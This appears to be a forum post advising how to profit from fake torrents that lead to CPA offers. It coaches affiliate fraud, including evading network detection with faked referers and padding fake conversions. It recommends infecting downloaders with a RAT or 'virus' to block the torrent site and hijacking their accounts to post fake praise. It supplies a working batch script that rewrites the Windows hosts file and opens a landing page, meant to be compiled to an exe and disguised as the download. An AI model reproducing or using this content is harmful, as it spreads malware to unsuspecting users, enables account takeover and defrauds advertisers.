there are more than one problems with this method

i've actually done it about a year ago and it can convert but:
1. if you use offers that don't allow incentivised trafic you're likely to get banned if found
2. most if not all the people who will complete the offer will never complete the rest of the forms and that makes the advertisers block you or even get you banned
3. big torrent sites are fairly good at removing fake torrents
4. if you just iframe the textbox for the email then the user has to hit enter to complete the form.. lots of people click on the register/send/go button and don't even know that they can submit the form with enter and that lowers conversions alot
if you want to really make some cash with this you have to come up with methods of fixing/going around the 4 very important problems
1. - fake referer is a start but networks can still see that something is wrong because unless you do something fishy you have no reason to blank the referer(op said the best way to get around this)
2. this is the hardest one to fix... the only way to really fix it is to get some real conversions at least 10-15% of your conversions must be real
another way to fix this is to make the ifframe full size after the user wrote the email so maybe some of them will complete the rest of the forms
3. the best way i found around this is to give the users that download your torrents a small "virus" / rat / etc... that blocks their access to the torrents site
why block access? Because once they realise that it's fake most of them will go back and report your torrent and get it removed
another bonus: if you put a rat in the user's pc and block their access, you can use their accounts to write comments on your torrents ( something like: It works great, i've been waiting for this. Thanks! etc...)
if you don't want to use viruses just use the bat with something like this:
Code:
echo. >> %windir%\system32\drivers\etc\hosts
echo 127.0.0.1 thepiratebay.se >> %windir%\system32\drivers\etc\hosts
echo 127.0.0.1 torrentsite.com >> %windir%\system32\drivers\etc\hosts
echo 127.0.0.1 anothertorrentsite.com >> %windir%\system32\drivers\etc\hosts
start http://landingpage.com/
make the bat to exe like normal and then everyone who runs the exe won't be able to go back to the site where they downloaded the torrent
4. use your immagination

enough with the spoon feeding